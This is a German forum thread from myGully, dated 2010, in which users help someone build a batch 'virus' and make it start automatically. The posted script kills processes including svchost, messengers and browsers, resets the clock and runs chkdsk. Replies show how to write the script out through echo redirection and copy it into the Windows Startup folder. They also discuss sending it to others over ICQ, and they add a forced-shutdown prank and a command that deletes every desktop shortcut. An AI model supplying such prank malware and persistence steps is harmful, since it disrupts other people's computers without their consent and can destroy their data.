myGully.com

myGully.com (https://mygully.com/index.php)
-   Programmierung (https://mygully.com/forumdisplay.php?f=67)
-   -   batch datei per batch datei erstellen (https://mygully.com/showthread.php?t=2081094)

moin2010 20.07.10 22:50

batch datei per batch datei erstellen
 
Hallo Leute

Habe schon gegooglelt aber alles klappt irgenwie nicht was ich finde.
Meine Frage nochmal: Wie kan ich eine batch datei erstellen die eine batch datei
in einem bestimmten Pfad erstellt und dan sic auch noch beim autostart hinzufügt?

MfG moin2010

bugfix 21.07.10 06:27

hy im prinzip musst du das nach dem schema proggen:

Code:

@echo off
echo echo Das kommt in die bat! >test.bat
pause

du erstellst mit einem echo befehl einen echo befehl der nicht ausgegeben wird sondern in die datei test.bat geschrieben wird!

den rest musst du dir selber bewerkstelligen ;) da ich vermute das du jemanden einen streich stellen willst! ;)
google wird dir sicher dabei helfen!

hoffe ich konnte helfen!

greetz

moin2010 21.07.10 08:09

ich habs jetzt mal versucht aber irgenwie hat er nur ein wort geschrieben.

das habe ich versucht:
Zitat:

echo off
echo @echo off >E:\test.bat
echo title VIRUS ECHO. >E:\test.bat
echo color 4 >E:\test.bat
echo cls >E:\virus.bat
echo Dies ist ein dummer Virus >E:\test.bat
echo echo --- >E:\test.bat
echo pause >E:\test.bat
echo chkdsk >E:\test.bat
echo ping -127.0.0.1 >E:\test.bat
echo cls >E:\test.bat
echo Du kannst mich nicht stoppen! >E:\test.bat
echo echo --- >E:\test.bat
echo pause >E:\test.bat
echo cls >E:\test.bat
echo time 0:00 >E:\test.bat
echo tskill icq >E:\test.bat
echo tskill msnmsgr >E:\test.bat
echo tskill svchost >E:\test.bat
echo tskill firefox >E:\test.bat
echo cls >E:\test.bat
echo echo N00b >E:\test.bat
echo echo --- >E:\test.bat
echo pause >E:\test.bat
das ist der original text:

Zitat:

@echo off
title VIRUS ECHO.
color 4
cls
Dies ist ein dummer Virus
echo ---
pause
chkdsk
ping -127.0.0.1
cls
Du kannst mich nicht stoppen!
echo ---
pause
cls
time 0:00
tskill icq
tskill msnmsgr
tskill svchost
tskill firefox
cls
echo N00b
echo ---
pause

bugfix 21.07.10 17:56

ja sry das war ein fehler von mir ;) die uhrzeit und meine brille noch nicht auf ;)
so jetzt aber die richtige lösung ;) statt c:\ kannste auch den autostart ordner auswählen ;)

Code:

@echo off
echo @echo off > C:\TEST.bat
echo ECHO. >> C:\TEST.bat
echo ECHO TEST >> C:\TEST.bat
echo ECHO. >> C:\TEST.bat
echo pause >> C:\TEST.bat
pause


greetz ;) und bitte bedanken ;)

pursuer 06.08.10 22:36

Wird nicht funktionieren. Wenn du vor die Zeile echo schreibst heißt das das dort dann einfach ein Text steht wie zB echo Hallo ! (Text: Hallo) Wenn du willst das sich eine bestimmte datei ind en Autostart kopiert machst du das am besten so:


@echo off
copy "C:\Users\"PC Name"\Desktop\Quelle\Voll\Neues Textdokument.txt" "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"
pause

Also.
copy "Das was kopiert werden soll" "Endverzeichniss das wo es hinkopiert werden soll"

Vergiss nicht an die Datei die kopiert werden soll .txt oder in deinem Fall .bat dranzuhengen sonst klappt das alles nämlich nicht. ;)
Das problem ist das du den genauen Pfad von dem Comuper brauchst wo die Datei kopiert werden soll. Das heißt wenn du das über ICQ verschickst und der jenige die Datein nicht wie bei dir unter C:\User\PC Name\Eigene Dateien oder so ist wird das ganze nichts ;)

Der Windows 7 Autostartordner:
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup

Ich weis ja nicht was du damit bezwecken willst... aber ich hoffe nicht allzu böses...
Willst du nem Kollegen nen kleinen Streich spielen machs einfach so

@echo off
shutdown -i
exit

und der PC sollte herunter fahren.. :>

Für Fehlen meiner seits bin ich gern offen.

LG

bugfix 07.08.10 15:07

@pursuer an deiner stelle würde ich den code mal kopieren (hoffendlich weist du wie das geht) und eine neue batch erstellen diese dann ausführen und voila es funktioniert!!!

also was wird an dem code nicht gehen??

greetz

elynx 24.11.10 13:44

cls setzt die Kommandozeile quasi zurück bzw. der Screen wird geleert! ...

Benni1000 25.11.10 22:03

Zitat:

Zitat von Xcited (Beitrag 21575033)
Ich habe auch ne Frage was soll der CLS befehl bewirken, der funkitoniert irgendiwe nicht, der soll doch die icons vom desktop löschen oder nicht?

Mfg Xcited

Das Leert den Screen der Konsole!
Wenn du die Desktop Icons ALLE Löschen willst dann einfach:
Code:

@echo off
cd C:\Users\%username%\Desktop
del *.lnk


m1nd 29.11.10 11:26

Zitat:

Zitat von bugfix (Beitrag 21010461)
ja sry das war ein fehler von mir ;) die uhrzeit und meine brille noch nicht auf ;)
so jetzt aber die richtige lösung ;) statt c:\ kannste auch den autostart ordner auswählen ;)

Code:

@echo off
echo @echo off > C:\TEST.bat
echo ECHO. >> C:\TEST.bat
echo ECHO TEST >> C:\TEST.bat
echo ECHO. >> C:\TEST.bat
echo pause >> C:\TEST.bat
pause


greetz ;) und bitte bedanken ;)

Funktioniert erstmal nur als Admin :)
Wenn man dann aber in den Autostart kopieren will, wie der TE ja will funktioniert das bei mir nüch.


Alle Zeitangaben in WEZ +1. Es ist jetzt 11:44 Uhr.

Powered by vBulletin® (Deutsch)
Copyright ©2000 - 2025, Jelsoft Enterprises Ltd.